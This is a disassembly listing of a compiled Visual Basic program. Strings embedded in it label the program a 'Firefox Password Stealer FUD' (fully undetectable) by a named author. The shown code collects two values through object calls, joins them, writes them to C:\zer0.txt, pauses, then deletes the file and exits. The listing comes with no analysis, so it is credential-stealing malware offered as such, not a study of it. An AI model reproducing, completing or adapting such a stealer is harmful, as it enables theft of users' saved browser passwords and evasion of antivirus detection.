Code:
004052AC: push 0040327Ch ; ========================================
004052B1: push 00000002h
004052B3: push 00403230h
004052B8: call Print #
004052BA: push 004032D4h ; Firefox Password Stealer FUD - Coded By: Zack
004052BF: push 00000002h
004052C1: push 00403230h
004052C6: call Print #
004052C8: add esp, 00000018h
004052CB: push 00000002h
004052CD: call Close #arg_1
004052D3: mov eax, [40C018h]
004052D8: test eax, eax
004052DA: jnz 4052E8h
004052DC: push 0040C018h
004052E1: push 00401C94h
004052E6: call ebx
004052E8: mov esi, [0040C018h]
004052EE: lea eax, var_2C
004052F1: push eax
004052F2: push esi
004052F3: mov edx, [esi]
004052F5: call [edx+30h]
004052F8: test eax, eax
004052FA: fclex
004052FC: jnl 405309h
004052FE: push 00000030h
00405300: push 00403344h
00405305: push esi
00405306: push eax
00405307: call edi
00405309: mov eax, [40C018h]
0040530E: test eax, eax
00405310: jnz 40531Eh
00405312: push 0040C018h
00405317: push 00401C94h
0040531C: call ebx
0040531E: mov esi, [0040C018h]
00405324: lea edx, var_30
00405327: push edx
00405328: push esi
00405329: mov ecx, [esi]
0040532B: call [ecx+34h]
0040532E: test eax, eax
00405330: fclex
00405332: jnl 40533Fh
00405334: push 00000034h
00405336: push 00403344h
0040533B: push esi
0040533C: push eax
0040533D: call edi
0040533F: mov eax, [40C010h]
00405344: test eax, eax
00405346: jnz 405354h
00405348: push 0040C010h
0040534D: push 00401E70h
00405352: call ebx
00405354: mov ecx, var_2C
00405357: mov esi, [0040C010h]
0040535D: mov edi, &
00405363: lea eax, var_00000088
00405369: mov ebx, [esi]
0040536B: push eax
0040536C: push ecx
0040536D: push 0040353Ch ; ---
00405372: call edi
00405374: mov edx, eax
00405376: lea ecx, var_34
00405379: call MSVBVM60.DLL.__vbaStrMove
0040537F: mov edx, var_30
00405382: push eax
00405383: push edx
00405384: call edi
00405386: mov edx, eax
00405388: lea ecx, var_38
0040538B: call MSVBVM60.DLL.__vbaStrMove
00405391: push eax
00405392: push 004029D0h ; C:\zer0.txt
00405397: push esi
00405398: call [ebx+3Ch]
0040539B: test eax, eax
0040539D: fclex
0040539F: jnl 4053B0h
004053A1: push 0000003Ch
004053A3: push 004026C8h
004053A8: push esi
004053A9: push eax
004053AA: call MSVBVM60.DLL.__vbaHresultCheckObj
004053B0: lea eax, var_38
004053B3: lea ecx, var_30
004053B6: push eax
004053B7: lea edx, var_34
004053BA: push ecx
004053BB: lea eax, var_2C
004053BE: push edx
004053BF: push eax
004053C0: push 00000004h
004053C2: call MSVBVM60.DLL.__vbaFreeStrList
004053C8: add esp, 00000014h
004053CB: push 00001388h
004053D0: call 004025E8h
004053D5: call MSVBVM60.DLL.__vbaSetSystemError
004053DB: lea edx, var_00000084
004053E1: lea ecx, var_54
004053E4: mov var_7C, 004029D0h ; C:\zer0.txt
004053EB: mov var_00000084, 00000008h
004053F5: call MSVBVM60.DLL.__vbaVarDup
004053FB: lea ecx, var_54
004053FE: push ecx
004053FF: call rtcKillFiles
00405405: lea ecx, var_54
00405408: call MSVBVM60.DLL.__vbaFreeVar
0040540E: call End
00405414: push 00405494h
00405419: jmp 405477h
0040541B: mov esi, [004011D4h]
00405421: lea edx, var_20
00405424: push edx
00405425: call MSVBVM60.DLL.__vbaAryUnlock
00405427: lea eax, var_24
0040542A: push eax
0040542B: call MSVBVM60.DLL.__vbaAryUnlock
0040542D: lea ecx, var_28
00405430: push ecx
00405431: call MSVBVM60.DLL.__vbaAryUnlock
00405433: lea edx, var_3C
00405436: lea eax, var_38
00405439: push edx
0040543A: lea ecx, var_34
0040543D: push eax
0040543E: lea edx, var_30
00405441: push ecx
00405442: lea eax, var_2C
00405445: push edx
00405446: push eax
00405447: push 00000005h
00405449: call MSVBVM60.DLL.__vbaFreeStrList
0040544F: lea ecx, var_44
00405452: lea edx, var_40
00405455: push ecx
00405456: push edx
00405457: push 00000002h
00405459: call MSVBVM60.DLL.__vbaFreeObjList
0040545F: lea eax, var_74
00405462: lea ecx, var_64
00405465: push eax
00405466: lea edx, var_54
00405469: push ecx
0040546A: push edx
0040546B: push 00000003h
0040546D: call MSVBVM60.DLL.__vbaFreeVarList
00405473: add esp, 00000034h
00405476: ret